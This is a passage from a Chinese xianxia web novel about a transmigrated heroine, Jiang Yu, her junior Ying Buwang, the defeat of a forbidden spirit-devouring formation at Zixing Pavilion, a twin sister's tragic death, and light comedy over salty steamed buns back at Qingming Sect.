那匣子因着灵力的注入,散发出来的雾气更加浓郁,生生将周遭唯一的微弱光亮驱散而去,只瞬间周遭便已然黑的伸手不见五指。
就在这时,裴恒之插在地上的长剑也因抵挡不住周遭的压制开始剧烈晃动起来,身处阵中的几人也只觉灵力愈用愈空。
只有从头到尾都在以符纸相相应对的应不妄此时面上不显吃力,随着手中最后一道符纸飞出,他顺势将姜瑜虚弱的身躯往沈晚宁的方向靠了靠。
当姜瑜整个身子的力道靠到沈晚宁身上时,他还不忘在她们身侧简单补充道:“看管好师姐。”
周遭一片漆黑,沈晚宁连忙双手扶住姜瑜,手中灵力不再涌出,四周漆黑一片,她超虚雾之中喊了一声应不妄。
再就无人回应。
*
应不妄趁着周遭由雾气组成的一片漆黑,他悄然走至阵法最西处。
在确保无人能干预他之后,手中随着灵力运转旋即于虚无之中生出一道由密密麻麻的灵线组成的阵图。
那抹阵图即便在雾气中透着微许光亮,也不足以让他人看清他这遭的状况。
只见他游刃有余的从手中化出一道锐利的符纸,随着符纸顺手而出,在他手掌之中划出一道血痕。
符纸速度之快,也只是瞬间,掌心的血珠随着血痕的出现猛地喷溅开来。
那血珠并未同寻常的鲜血一般落于地面之上,而是悬于空中,顺着他方才起出的阵图攀延而上。
那阵图以灵血寄养,逐渐形成暗红色阵线。
应不妄手腕翻转间那阵符随着他的咒法悄然覆盖于黑雾之上。
此时的应不妄倒还庆幸多亏了方才有裴恒之的那一剑,这才没让雾阵彻底成型,让他有了可乘之机。
噬灵阵并非毫无破法。
既然它属禁术之阵,那便就能以禁阵相克,应不妄以血祭阵,只片刻之余,一道血阵便已然成型。
随着阵图于空中扩大,悄然埋没与黑雾之中。
随着应不妄指尖灵力与鲜血不断流出,那阵法将这团雾阵扩于其中,随着他指尖一收,一阵狂风便自虚无中散开,迷得让人睁不开眼。
在场的几人皆被这阵狂风吹得顺势抬起胳膊护住了双眼,而他手掌中的鲜血还不断往外送出,只片刻一口鲜血猛地从他嘴中喷到地上。
应不妄强撑着虚脱的身子,刚要体力不止半跪于地时,一抹暖意顺势透过微薄的衣料传至周身各处。
昏暗中只觉两只手顺势攀附于他的胳腕间,应不妄身型微顿,另一只手下意识的将攀于他身上的手拿开,在触碰到那抹暖意时,姜瑜的声音刚好不好的从身旁传来:
“师弟。”
一句师弟唤醒了他几分的理智,伸出半截的手忽得又收了回去。
应不妄在无人能看到的暗处微微弯了弯唇角,殊不知他此刻嘴唇泛白,脸上毫无血色,终是坚持不下将大半力气都靠在来人身上。
姜瑜承受着应不妄一部分的重量,她先前就察觉到原主本身的听力就异于常人。
这会却又才发觉,她貌似能在昏暗至极致的黑暗中,看清人物大体的轮廓。
也是这个原因,在应不妄松开她的一瞬,她的目光便始终如一的盯着那抹熟悉的身型默默的行至阵法西侧。
也就是说,方才应不妄的行为,姜瑜已然看的大差不差。
温热的血液依旧在掌中流出,姜瑜顺着应不妄的胳膊往下,直到摸到那副骨节分明的手指时,指尖骤然凝起灵力,自丹田而出,为应不妄缓解哪怕一分一毫的痛楚。
狂风停歇之时,周遭的黑雾已然散去,此时的罗淮月脚下反倒出现一行八卦阵图,还未待她弄明白事由巨细,一旁的苍梧率先反应过来。
只见他掌中骤然以灵坐符,从虚无之中以灵画咒,不过眨眼功夫,那咒术已然涌向罗淮月脚下的八卦阵。
咒法将她团团围住,随着苍梧施灵,那阵法骤然收紧。
姜瑜手中原本虚握着应不妄的手腕,为他暖伤驱痛,此时在场的数人皆将目光投去。
而她只顿了一刻,应不妄腕间一松,那骨温热从掌中抽离开来,只余他默默垂眸看向自己还在溢血的手掌。
再抬眼时,只见姜瑜脚下一点,飞身于空中之时微微抬手时,之前掉落与地的长剑这会已然顺着灵力瞬至掌中。
姜瑜越过苍梧长老与罗淮月的阵法后,剑尖锋利处直直将不远处禁锢着罗淮阳的铁索斩断。
铁索被斩,罗淮阳手上
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一松,多年被这股灵锁锢的时间长了,顿时没了借力点,虚脱般的将要倒于身前这摊污水时,被姜瑜先一步搀扶住脚。
姜瑜顿了顿,这才最先开口道:“...罗掌门,罗淮月说到底终归是你的孪生妹妹,她造下的因果罪孽,还应交由您来处置。”
罗淮阳散乱着头发,这会手上才稍有了力道,她将胳膊从姜瑜手中抽离出来,一瘸一拐的踏出污水,一步步走向困于法阵之中的罗淮月。
在只有几步距离时,她停下脚步,此时于大众视野中所露出的半截小腿,早已因长年浸泡与污水,而变得浮肿发白,不成样子。
只见罗淮阳伸出自己干瘪的双手,不顾罗淮月脚下的阵法攻势,顺抚上了她的脸颊:“阿姐没想过害你、更没想过要夺走你什么东西。”
“阿姐甚至都没想过我们的阿月会如此记恨我。”
罗淮阳话音刚落,尾音不自觉的微微发颤,她一字一顿道:“在你将我囚禁的这十几年里,阿姐甚至都没怨恨过你。”
“而你呢?”
话落间,罗淮月扭过头不去看她,眼角处不自觉的滑落出一抹泪珠,只听罗淮阳沙哑的声音再度几近疯狂:
“看着我!”
“你为何要残害上百千条人命?!”
“为何要学这魔道禁术?!!”
“你知不知道!你知不知道...”罗淮阳吞了吞,眼底泛起一抹猩红,“当年我们爹娘是如何死于那些邪魔之手的?!”
罗淮月听到这突然冷笑一声,她扭过头直勾勾的看向面前这位披散着头发的女人,回道:“我无愧于爹娘,当年那件事是他们找死的,他们该死!”
“啪!”
在场的人都没反应过来,罗淮阳一记巴掌早已落到了罗淮月的脸上,瞬间泛起大片红漪。
罗淮月越说越激动:“是他们对不起我,你对不起我!”
“明知道将我生下来注定是一个灵根残缺的废物,为何还要将我养大成人?!”
“让我眼睁睁的看着你我修为差距愈来愈大,罗淮阳你很得意吧?”
话及此处,罗淮阳这才彻底明白,从始至终罗淮月就是一种执念。
一种对她愤愤不平,对她嫉妒成恨的执念。
或许自始至终罗淮月就没真正钟情过姜远山,她只是看姜远山与罗淮阳走的近。
越是她的东西,她罗淮月就越要夺走。
罗淮阳禁闭着双眼这才冷静下来,她深叹了口气,再睁眼时,掌中已然将罗淮月体内的魔气逼出体内。
最后一丝魔气被抽离开来时,罗淮月嘴角猛地吐出一口鲜血。
罗淮阳见状话亦到了嘴边:“罢了,你走吧。”
“我不管你去哪,别再从紫星阁呆着,别再让我看见你。”
话落,她手中灵力一挥,罗淮月脚下的八卦阵也随之消散。
罗淮月怔怔的看向罗淮阳,忽然笑了,她面露笑意,转了一圈看向周遭其余的几人,指着罗淮阳笑的癫狂。
只见她忽然凑近罗淮阳,眯了眯眼,问道:“你是在可怜我吗?”
46. 赤剑裴氏
“你知不知道最讨厌你这副高傲自大,总是装作一副大发慈悲、挥手不记从前的模样。”
“你是不是觉得此时的你很大度?”
话到此时,罗淮阳紧皱着眉毛,满脸不解的看向身前这位穿着比自己要得体的罗淮月,只听她冷笑一声,旋即开口说道:
“至少在我死前。”
“你永远都不能赢过我。”
话锋一转,在众人都未反应过来之时,她猛地从头上取出一枚银簪,出手干净利落,直刺向自己的脖颈。
瞬间鲜血喷涌而出,喷溅于罗淮阳的脸上,染红了她披散着的长发和脸颊上。
银簪率先落地发出一声脆响,罗淮阳怔怔的看向身前因脱力而滑落至地上的罗淮月,再伸出手将面前之人怀抱于中,她颤抖着声音才堪堪喊出她的小名:“阿、阿月...”
罗淮月不断的猛吐着鲜血,见状散尽浑身力道,才稳稳单伸出一只手来抚上罗淮阳的脸颊,她手上掺杂着血迹,此时眼角处也渐落一滴泪水:
“你不该为我而哭。”
……
罗淮月死了。
这件事大家都默默的并未对外流露,整个紫星阁内,除去姜瑜这些知道实情的人,没人知道他们逝去了一位“掌门”。
想来也是好笑,掌门执掌那么多年,没人发现其中换了芯子。
或许在他们看来,谁当掌门,谁是掌门都是一样的吧。
姜瑜这样想着,一道声音又将她拉回了思绪,沈晚宁轻轻的撞了她一胳膊肘,这才抬眼看向周遭,厅堂内的一众人皆将目光投到她这边。
罗淮阳又将手中的玉笛往身前送了送,这才再度开口重复道:
“这只玉笛本就受你父亲所得,与其让它在我们紫星阁内当个摆件,倒不如物归原主,留给...留给姜姑娘,使其发挥它原本的作用。”
罗淮阳虽与姜远山有旧交,但碍于她妹妹所做的这一遭事由,她便也不再便于开口再唤她亲昵的称呼。
姜瑜当着一众人的目光,在虚空中先是望向站在对立面的应不妄,只落了一眼,她便将目光转给了他身旁的苍梧。
见苍梧与她相视一眼,点了点头后,她这才微抬起手,将身前的那枚紫流笛接了过来。
过后,罗淮阳嘴上才勉强扯出一抹笑意,只见裴恒之几步上前,先是虚身抱拳,这才开口问道:
“不知罗掌门可知尊妹当日所步的噬灵阵,可是从哪里习得?”
罗淮阳这才扭过头看向身后这位少年,她先是抬眼全身扫了一眼裴恒之,随后便低垂着眼摇了摇头,才道:
“罗某对于阿月所学禁术一事并不知情,至于她究竟是从哪里习的噬灵阵,我也不甚清楚。”
“不过。”见裴恒之的表情有一瞬间的落寞,罗淮阳话锋一转,再抬眼时便开口说道,“令妹先前去过一次西原,那次回来之后便性情大变,才有了如今之势。”
“我想应当与噬灵阵有所关联。”
话毕,裴恒之躬身谢过,再开口时语气里难掩落寞:“多谢罗掌门告知,裴某失礼,先一步退下了。”
裴恒之前影刚消失于门前,沈晚宁左右看看,边后退边抱拳才开口道:“没什么事,晚宁也先退下了。”
话音刚落,姜瑜还没来得及将目光投过去,方还在身前的一抹绿色衣襟也一溜烟就没了影。
再收回目光时,不知应不妄何时来到了她的另一侧,此时他手上的血痕早已不同往前般往外渗血,姜瑜盯着那双手才出声问道:
“师父,裴师兄这是怎么了?”
那双手在姜瑜的注目下虚虚顿住,旋即握紧了拳头,几滴血珠再度从掌中渗出。
苍梧顿了顿,与罗淮阳相视一眼,旋即开口解释道:“当年赤剑裴氏一夜之间满门覆灭。”
“那群贼人所用之术中便有这九州十大禁术之一的噬灵阵。”
姜瑜收回目光,轻轻应了一声。
彼时应不妄只觉手上忽地被一抹温热覆盖,愣神之余他垂眼望去,只见姜瑜的手刚好攀了上去,正在将他紧握着的拳头一根根手指掰开。
他们挨得及近,身前的宽松衣袖刚好挡去了他人的视线,这一阵动作下来,在场的几人中只有他们方才心知肚明。
思及此,应不妄轻咳了两声,耳尖上泛起一阵浮热,他微仰起头看向别处,手上依着姜瑜任由的掰弄。
“既如此我们择日便出发返还青冥宗,若没什么事你们也先行退下吧,在此之前我与罗掌门商讨些后继事宜。”苍梧听到应不妄的动静,才开口道。
温热的触觉从手中散去,姜瑜也虚抱双拳,躬身行礼后退去。
应不妄紧随其后。
*
从厅堂退回后,姜瑜便双手拄着脑袋坐于屋门前的台阶上,紧紧皱着眉头,望着地面发起了呆。
就在不久前,系统找到她,这才提醒到,她还欠着那边两个剧情点!!
姜瑜左思右想,这才想到应不妄好像还没跟他的白月光沈晚宁相认恩情。
可那段剧情早就走过去了,应不妄没认出来,关他姜瑜什么事?
就在此时,一双黑色鞋靴适实的漫进姜瑜的视线,她起先并未反应过来,直到头顶上的声音再度响起时,这看向身前的少年。
“坐这儿发什么呆,明日就要回青冥宗了,师姐没什么可收拾的吗?”应不妄嘴上虽这么说着,却也破天荒的坐在了姜瑜身侧。
“来的匆忙,走的时候也就这一身行当。”姜瑜含糊不清的答着,转念一想,她扭头看向身侧的应不妄,问道,“你跟晚宁相处了这么些天,没感觉到什么吗?”
应不妄见状也抬眼对上她的目光,他微挑了挑眉,问道:“我应该感觉到什么?”
“还是说...”
姜瑜眨巴着眼睛看向身前的少年,只听他再度开口时唇边染了一丝笑意:“师姐怀疑她跟噬灵阵有什么关联?”
“……”
姜瑜轻咳一声,随后过头去,才嘟囔道:“那倒没这个可能。”
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话落时,又是一阵寂静,姜瑜没忍住再度开口时,手上也跟着不自觉的比划道:“师弟没觉得她非常亲切非常好相处吗?”
应不妄疑惑的看着姜瑜,问道:“谁?”
“晚宁啊。”姜瑜回道。
应不妄眯了眯双眼,他盯着姜瑜那双满眼都是真诚的眸光,喉间吞了吞没忍住反驳她,才顺势应了一声。
随后他便在姜瑜那双满怀期待的眼神下别扭的扭过头,才问道:“这跟、跟噬灵阵有什么关系吗?”
话落,只听身旁猛地“啪”一声,姜瑜双手拍到一起,她双手撑过膝盖站起身时踉跄了两步——脚麻了。
姜瑜满脸恨铁不成钢的看向应不妄,才虚抬起手指来,指着他小声嘟囔道:“榆木脑袋。”
说完姜瑜只留下应不妄一人端坐在原处,往院前走了两步,随后又气愤折返回屋内。
*
事情完善前,罗淮阳早已暗中将那些曾受罗淮月所害的上百余人的无辜性命,悄声告知了诸位家眷亲人。
想来此时的掌中孙武他娘,杨元容已然知道了她儿子所遭遇的不测。
离开南原的前一晚,姜瑜去往掌中孙氏走了一遭,但她并未现身与杨元容身前,只是暗中看了她一眼。
杨元容一夜白发,面容早已不及往前娇好。
她勤勉一生,终归落得了个白发人送黑发人的局面。
曾有几时,在她在街上将要因体力不支而摔倒时,姜瑜都有动容,想去上前搀扶一把。
身子探出半截时,思考了片刻却又缩回了暗处,她无颜面对孙武的母亲。
况且姜瑜能扶住她一时,却护不住她一世,有些事实终究要她自己面对。
至于刘苏叶和赵清砚她们师徒二人。
先前考虑到她们是因着罗淮月给她们下毒而迫不得已才为之的。
因此便革去了刘苏叶长老一职,而赵清砚的一身修为亦被尽数收回。
两人修为散尽,再无残害他人之势,罗淮阳让赵清砚带着伤重的刘苏叶隐居于世,不再残害无辜。
回到紫星阁时已然半夜,以至于在姜瑜看到自己的屋门前徘徊着一道身影时,竟觉得有些恍惚。
待她走进时,姜瑜这才更加确信,这位身型消瘦如骨之人正是赵清砚。
“大半夜的不睡觉,在我屋门前鬼鬼祟祟的做什么?”姜瑜开口问道。
一道声音从赵清砚身后传来,她顺势转回身看去,四目相对之时,姜瑜眼底闪过一丝震惊,她原本插在腰侧的双手才缓缓放了下来:“你这是怎么了?”
赵清砚满脸苍白,嘴唇上没有一丝血色,在她见到姜瑜那张脸时,突然释怀的笑了笑:“好巧。”
话落时,她才突然反应过来,连忙摆手磕绊道:“我、我的修为被罗掌门废了,不是来找你打架的。”
姜瑜张了张嘴,话到嘴边又收了回去,最终只汇成了一句:“进屋说吧。”
见姜瑜抬手刚要推开屋门时,赵清砚连忙拉住了的胳膊一侧。
47. 裴师兄觉得不好吃吗
姜瑜微微侧过头,只听她唇边扬起了一抹笑,她摇了摇头,道:“不用了,过会我就要离开紫星阁了。”
赵清砚的尾音发颤,在月光的映照下,姜瑜察觉到了她眼角处的一抹猩红,只听她超周遭扫了一眼,才恋恋不舍道:
“我从小在这里长大,过去的二十年里,我从未想过有一天会离开紫星阁。”
“姜瑜,说真的在见到你第一眼时,我以为我们是一样的。”
“后来我发现我错了。”
“姜瑜。”赵清砚无比认真的喊了一声姜瑜,一字一顿道,“我是羡慕你的。”
“你有事事、处处、方方面面都向着你的师兄弟妹们。”赵清砚抬眼看向身前的少女,续而说道,
“而我,从小被父母抛弃,跟师父一路来到了紫星阁,被同龄弟子瞧不起,看不起。”
“从那时我便明白,我只有师父。”
“其实你的师弟妹们也很崇拜你。”话及此时,姜瑜开口打断补充道。
此番言语并非是在安慰,只不过是在陈述着她所认为的事实。
赵清砚摇了摇头,轻声道:“这些都不重要了。”
她抬手胡乱的往脸上擦了擦,才道:“其实我并非真正的想杀过你,之前都是...”
“都是苦衷。”姜瑜打断她,顺势抬起手来,为她轻轻拭去眼角的一处泪,“我明白,你是有口难言。”
话落时,姜瑜突然歪头打趣道:“没想到紫星阁大师姐竟也会哭鼻子。”
“你可别说我跟你一样。”
“我可不会跑你面前哭鼻子。”
赵清砚先是愣了一下,待脸上那为她拭去泪珠的一抹余温散去时,她突然笑出声来:“你少拿我贫。”
话落时,她垂下眼才对姜瑜开口说道:“时候不早了,你也早些歇息吧,其实本没想深夜打扰你的。”
“有考虑过去哪吗?”姜瑜不知何时,已经悠然的靠在门框一边上,眼皮略掀了掀,打了个哈欠。
“想去别处看看。”赵清砚答道。
“江湖路远。”姜瑜笑着,虽已是深夜,月色依旧耀眼,那抹月光洒落在她脸上时,恰到好处的增添了一份柔和,少女好听的声音再度袭来,
“期待下次相见。”
赵清砚抬眼对上少女的深邃眼眸,眼底尽染笑意。
她弯了弯唇角,蓦地转过身子背对着她,抬起手来随意的抹了两把脸,她重复的一字一顿道:“期待、下次相见。”
*
他们回到青冥宗已经一月有余,此时的酷夏虽已转秋,却依旧热的厉害。
这一月来姜瑜可没少忙活,介于她依旧负债于系统的那两个剧情点数,可没少去骚扰身为原书男主的裴恒之。
此外,除去宗内一些弟子依旧对紫星阁事迹半听半就的依旧对她带有偏见外,其余的倒是跟离宗前没什么两样。
正值正午,阳光刺眼夺目。
姜瑜热的将袖口往胳膊上推去,她插着腰看向身前的桌上的食盒——那里面放着她方才蒸完的小笼包。
“当牛做马这么些年,蒸个包子而已,就这还能难倒我不成?”姜瑜自顾自的说着。
她刚伸手从中拿出一个白花花的包子,刚要往嘴里送时,一股力道抢先从她手中划过,再眨眼时手中的蒸包早已被人夺去。
姜瑜顺势撇过眼看去时,只见应不妄握着她方才手中的蒸包,细细端详几番后,才听他开口问道:“师姐不好好潜心修炼,天天怎么净想着捣鼓这些?”
“人各有所好嘛。”姜瑜低垂着眼,伸出手去径自将圆桌上的食盒盖上盖子,这才抬眼看向身前早已坐下的少年,问道,“你尝尝,味道如何?”
应不妄微撇了她一眼,又将视线落在手中的包子上,不多犹豫便一口咬了下去。
在姜瑜满脸期待的注目下,应不妄几不可察的皱了皱眉,对上少女的目光时,刚要开口就被她打断道:
“我想着裴师兄整日忙于修炼必然顾不得好好吃饭的,若是味道不错,我晚些时候就送过去。”
听到这应不妄的眉头微挑,他看向站在他身前的姜瑜,少女没在看他,只见他话锋一转,淡然说道:“嗯,挺好吃的。”
一个时辰后,姜瑜双手提着食盒,与屋内的两人大眼瞪小眼。
“师姐?”
“晚宁?”
四目相对之时,姜瑜瞬间呆愣在原地,心里不禁暗骂这个该死的系统,居然又坑她!
裴恒之率先干咳一声,他看向站在屋门口的姜瑜,出声问道:“姜师妹,你这是...?”
姜瑜扫了一眼屋内的两人,最后将视线落回裴恒之的身上,干笑两声才出声道:
“这是我闲暇时间亲手做的蒸包,想着裴师兄近日总是忙于修炼,定是顾不上吃食的。”
她照着原剧情台词念着,眼神还时不时的扫向屋内的沈晚宁。
“那刚好啊!”沈晚宁笑着站起身来,接过姜瑜手中的食盒,笑盈盈的说道,“我还愁我的这份只够两人吃的,没想到师姐竟也带了蒸包,如此份量刚好。”
姜瑜:晚宁你还是太体面了。
姜瑜被沈晚宁拉到桌前坐下,面上挂着尴尬而不失礼貌的笑容,她眼神飘忽不定,最终落在桌上的食盒上,才说道:
“裴师兄上次受伤严重不严重啊?”
手指在桌下搅着袖口,姜瑜垂着眼没去看面前两人的反应,话音刚落时,屋内瞬间归于寂静。
好吧,他其实貌似好像大概也没受什么伤。
不过片刻,裴恒之犹豫开口:“都是小伤,我早已无大碍。”
“那就好,”姜瑜面上依旧挂着笑意,她动作之迅速,飞快的将桌上的食盒打开,推到裴恒之身前,才道,“裴师兄这趁热尝尝味道如何。”
裴恒之先是看看沈晚宁,随后又看向她身旁始终垂着眼的姜瑜,这才伸出手向食盒内拿去。
一口下去,裴恒之先是皱紧了眉毛,旋即抬眼看向沈晚宁,后者见状也迟疑的伸出手去拿了一个蒸包。
姜瑜悄然抬眼时,瞥见一旁的沈晚宁也皱起了眉,恰巧此
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时对方的目光也随之看了过来。
四目相对,沈晚宁慌忙咽下嘴中吃食,这才弯了弯唇角,补充道:“好吃的。”
姜瑜满脸质疑的朝她歪了歪头,后者见状则是小鸡啄米似的肯定点了点头。
“师姐你尝尝我的。”沈晚宁顺势将盘中有微许放凉了的蒸包往她身前推去。
姜瑜虚抬了抬手,方向猛地调转,从自己带来的食盒中拿起蒸包,一口咬了下去。
才嚼了不过两口,姜瑜的眉亦跟着皱了起来,她强忍着咽下去,身旁的沈晚宁自觉的为她斟了一杯茶水递了过去。
姜瑜猛灌一口,茶水见底,杯底放在桌面上时发出清脆的响声,与此同时她的声音也落下:“这么咸你们怎么吃的下去的?”
话音刚落,屋内刚好传来几声木门轻扣的声音,她扭头看过去时,少年背朝着阳光,阴影下将他的身型勾勒的恰到好处。
再细看,他的脸上还洋着笑意,只听应不妄尾音带着几分漫不经心:“呦,都在呢?”
他刻意走到姜瑜身旁,长睫下桃花眼的笑意都要溢了出来,他的目光落在她手中的蒸包上:“师姐,这包子香不香?”
“……”
片刻后,姜瑜笑看过去,淡然开口道:“它可能有点咸,不过我想师弟应该喜欢吃。”
话落,她双手拍桌站起身来,面上再度扯起一抹微笑,动作轻柔却又不失优雅的从裴恒之和沈晚宁手中将蒸包拿回食盒中。
在三人的注视下将食盒再度盖上了盖子,随后她措不及防的单手胯起应不妄的胳膊,另一只手提着食盒,朝着沈晚宁礼貌说道:
“晚宁你们先吃,我突然想起来我跟我的好、师、弟有一些法阵上的造诣还没讨论,就先不打扰你们了。”
话落,姜瑜扭过头去朝裴恒之也礼貌的点了点头。
随后她便在两人的注视下,拉着应不妄走出屋门。
应不妄任由姜瑜这样牵拽,天气燥热,少女手上的暖温透过一层薄薄的布料传送到他的胳腕处,蔓延至周身。
当那抹暖意蓦地抽离时,竟让他有了几分不舍。
姜瑜将他带到一处树阴下,阳光透过枝叶散落到两人的发丝之间,她先是深吸一口气,随后没好气的将手中的食盒递给应不妄。
“师弟不是觉得好吃吗?”
“那都留给你。”
应不妄眨了眨眼,一束光线恰好落在他的眼下,为他那俊美的面庞增添了一颗美人痣,只见他无辜问道:“难道是裴师兄觉得不好吃吗?”
姜瑜扫向应不妄手中的食盒,他手中微用着力道,白皙修长的指关节白里透着红,她还没来得及开口说话,只听应不妄再度说道:
“可我觉得很好吃。”
“师姐也觉得不好吃吗?”
姜瑜这才抬眼看向面前的应不妄,只见少年今日刻意用红色发带扎了一个半披高马尾,在暖风的吹拂下轻幅度的肆意摇晃着。
少年一副做错了事的可怜模样,姜瑜顿时心就软了下来,她轻咳两声:“有点咸。”
48. 给包子画全身像
姜瑜再抬眼时,四目相对,少年低垂着眼看过来,辨不出什么情绪,只听他再度开口说道;“也许是我自小没怎么吃过蒸包。”
应不妄的眼睫眨了眨,随后抿了抿唇才开口说道:“我一直以为它是咸的。”
话落时,一股酸涩夹杂着愧疚之意瞬间涌上姜瑜的心头,她张了张嘴纵有千言万语却始终没说出来什么话。
就在这时,不远处一道熟悉的声音传来,苍梧一身素白色长袖衣襟,手腕处恰到好处的挽起半截袖口,他单手插着腰,朝姜瑜他们这边指了指,才隔空喊道:
“你们两个小崽子不去修炼,在这儿偷上懒了?!”
他们循声望去,只见留着白色胡子的小老头左摇右摆的朝这边走来,离近后他这才瞥到应不妄手中微提的食盒。
苍梧双手刚要拿过一探究竟时,却被应不妄一个后撤连忙躲过,小老头见状不满的看向少年,才问道:“现在有什么好吃的都不想着师父了是吧?”
“想当年师父与你初见时,那可是把我那最宝贝的蒸包分了你一半呢...”
苍梧话说一半,嘴上只觉突然袭上一副手掌,随后便被应不妄连忙捂住,再发不清声音,只能听到他“呜呜呜”的叫嚣着。
应不妄面上不显其它,只见他朝姜瑜笑了笑,随后一本正经的对她说道:“我突然想起来我跟师父有点事,晚会再来找师姐。”
话音刚落,他也不等姜瑜开口说话的机会,一把扯着苍梧的袖口往别处拉走,离远了些才舍得放开。
“你这是大不敬!”
“真是什么都纵的你,竟敢对为师这般,回去抄写门规一百遍。”苍梧说完停顿片刻,又补充道,“一百零一遍!”
应不妄单手拎着食盒,满脸毫不在意,心情不错的模样,淡声应了下来。
“话说你有什么事要跟为师说啊?”
“鬼魅王被我杀了。”
苍梧两手用力一拍,惊呼道:“那个老东西早该死了,对了,你刚到青冥宗时怎的不与我说?”
“没空,忙着修炼呢。”应不妄有问有答。
*
应不妄应付完苍梧那个小老头后,便径自回屋了,他此时左手微微撑着头,右手则虚握着笔在纸上涂涂画画。
他画的专心,以至于根本没发现姜瑜已经悄然瞬至屋内,步态轻盈的往桌案边上靠着。
“听说你被师父罚啦?”姜瑜突然出声询问道。
那只笔顺着手中的转动而脱落在桌面上,他微微愣住,再抬眼循声看道姜瑜时,手中慌忙将桌案上的宣纸盖住。
姜瑜微微蹙眉,她撇了撇嘴,歪着头往桌边靠去,才出声问道:“字很丑吗,干嘛不给看?”
应不妄并未回应,只出声问道:“师姐你怎么来了?”
姜瑜耸耸肩回道:“我听说你被罚了一百零一遍的门规,想着也是指望不到你来找我了,所以我就大发慈悲的来看看你。”
话落时,姜瑜趁着应不妄不注意,抬手将他压在掌下的宣纸拿出来,嘴里还不忘嘟囔道:“我记得你的字也不丑啊,有什么不敢让人看的?”
“小男孩大大方方...?”姜瑜话说一半,手上拿着宣纸的动作蓦地顿住,她眯了眯眼仔细端详片刻才出声道,“包...包子?”
“还是长了眼睛的包子。”
“合计着你在这给包子画全身像呢?”
姜瑜拿着宣纸左右瞧着,还不忘感叹道:“你还别说,画的挺像。”
应不妄轻咳一声,他站起身来一把将那张宣纸夺过,少年耳尖处红里透着粉,脸上难得的显现出来一丝不好意思,语气里带着一丝不满,他嘟囔道:
“师姐,你擅闯我的房间也不说一声。”
姜瑜有口难辩,她指了指应不妄手中的宣纸,又指指自己,最终狡辩不出来什么话,索性闭了嘴,片刻后也随之嘟囔道:“那我去找晚宁他们。”
说罢,她抬脚就要走人,刚转过身去时,手腕上被人稍稍用力,又一把扯了回来。
应不妄将她拉回桌前坐下,他则在一旁默默站着,良久,他将先前那张被他折的皱皱巴巴的宣纸平铺于姜瑜眼前。
没等姜瑜开口说话,他抢先说着,少年开口时声音清脆,语气难掩的平静:“年幼时家里吃不上饭,在那时我便总羡慕别人家的孩子能每天能吃到白胖馒头。”
“后来我所呆的村镇一夜之间被妖魔屠尽,自那以后我无父无母,无依无靠的那些日子,只能流落街头,吃别人不要了的嗖馒头。”
“师父把我带来时,长(chang)秀姨蒸的包子跟我印象中的馒头长的一样。”
应不妄说着说着,唇角处不自觉的弯了弯,染起一抹笑意:“所以那一段时间,我经常在长秀姨手里跟师父他老人家抢包子吃。”
话及此时,应不妄看向坐在他身前的姜瑜,后者则安静的坐在木凳上听他说着,他脸上笑意更甚:“我觉得师姐的蒸包比长秀姨的好吃。”
长秀姨,是青冥宗内长老级别的长辈,她整日总想着能做出天下独一无二的美食,以至于她的志向并不在于修炼一事上,也不喜宗内弟子叫她长老。
传着传着,年龄不大的弟子们就都叫她长秀姨。
姜瑜抬起手虚抚于平铺在桌上皱巴的宣纸,再开口时声音里辨不出情绪,她说道:“那师姐以后做更好吃的蒸包给你吃。”
“好。”应不妄低着头,手中不自觉的把玩着自己的食指,没再说什么。
*
秋雨总会来的不同寻常,明明白日里还燥热的厉害,此时也才刚入了夜,闷热潮湿便悄然融进了空气,不一会外头就响起了“滴滴嗒”的声音。
姜瑜这会躺在自己的木制雕花床上,双手背于头上,看着床上的纱帐发起了呆。
这时突然被一阵敲门声打断,姜瑜先是抬眼瞥向屋门,随后一个用力仰卧起身:“谁呀?”
屋门被人从外推开,四目相对时,姜瑜率先从手中虚化出紫流笛,紧接着笛身随后化剑,剑尖直指地面,她眯了眯眼出声
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问道:“你来这里做什么?”
屋外的秋雨愈下愈大,站在门前的少年身着一身玄墨色,即便有灵气护身不让雨水沾到,却依旧装模做样的带着斗笠。
方知有有半张脸都藏在笠帽之中,姜瑜瞧不出他的情绪,气氛僵持片刻后,少年才开口说道:“你我好歹相识,也算朋友一场,大雨天的来找你,怎的也不欢迎?”
姜瑜不听他过多废话,手中长剑随着胳腕间用力一抬,顺势架在了少年的肩膀上,她这才漫不经心的回道:“我可没你这种不请自来的朋友。”
“说吧。”
“这次又有什么蹩脚理由?”
“来青冥宗的理由吗?”方知有反问道。
姜瑜抬眼看向他,没回话。
只见他毫不着急的靠在屋门框边上,双手环报于胸前,大雨顺着狂风打湿了屋内的地板,随后他还不忘啰嗦念叨:
“之前在紫星阁时,我可是帮了你的,姐姐这会儿怎么就翻脸不认人了?”
“你或许没听说过再一再二不再三。”姜瑜冷着个脸,眼神中不显半分情绪,屋门外的狂风骤起,更甚着有几滴雨水竟吹刮打在她的脸上。
“你我第一次相见是巧合。”
“第二次也姑且算是巧合。”
姜瑜有条不紊的说到第二点时,方知有眼底漫起笑意,他插嘴道:“第三次,人都找到你屋门口了,这也算巧合吗?”
姜瑜听后,唇角几不可察的弯了弯,她这才出声道:“那你是专门来找我的。”
方知有两手一摊,才补充道:“难道还不够显而易见吗?”
姜瑜收起剑身,笛子顺着她的灵力而散于空中,她微微侧了侧身给方知有让出一条路:“里面聊。”
方知有抬脚刚往前走了两步,姜瑜将手续握着拳放于唇边,轻声咳了两声。
他扭头看向她,只见她的眼神瞥了一眼大开的屋门,又瞥了瞥他这一身的行当。
方知有疑惑片刻后旋即了然,他自觉的将斗笠摘下,顺道原路退回时,将屋门再度紧紧关上。
一番操作下来,他再转身时,只见姜瑜早已在桌前端坐整齐,手上才刚刚端起茶壶为自己身前的茶杯倒了一杯茶水。
方知有紧跟着坐在姜瑜身侧,他喉咙滚了滚,只见姜瑜抬手握起手中的茶杯,他刚要抬手接过时,只见她径自将茶水送进了自己嘴里,只留下他虚顿与空中的手在原处。
姜瑜一口喝完,许是茶水放的旧了,此时凉茶入喉让她头脑清醒了几分,茶杯轻放于桌上时,她才开口说道:“自己没长手啊,想喝自己倒。”
方知有小声冷哼一声,手上顿时调转了个方向,为自己倒了一杯茶,一口凉茶入独时,他才皱眉道:“姜瑜,这就是你招待客人的礼数吗?”
姜瑜唇边含着笑,还不忘解释道:“下这么大的雨,你还指望我去给你现温一杯吗?”
方知有刚要嘴贫却被她抬手打断道:“你说正事。”
方知有这才敛去其他情绪,面上严肃。
49. 西原的“朋友”
方知有手指不经意的敲打着桌面,再抬眼时对上了姜瑜那副深究的眸光,他弯了弯唇才说道:“其实也不算是专门来找你的。”
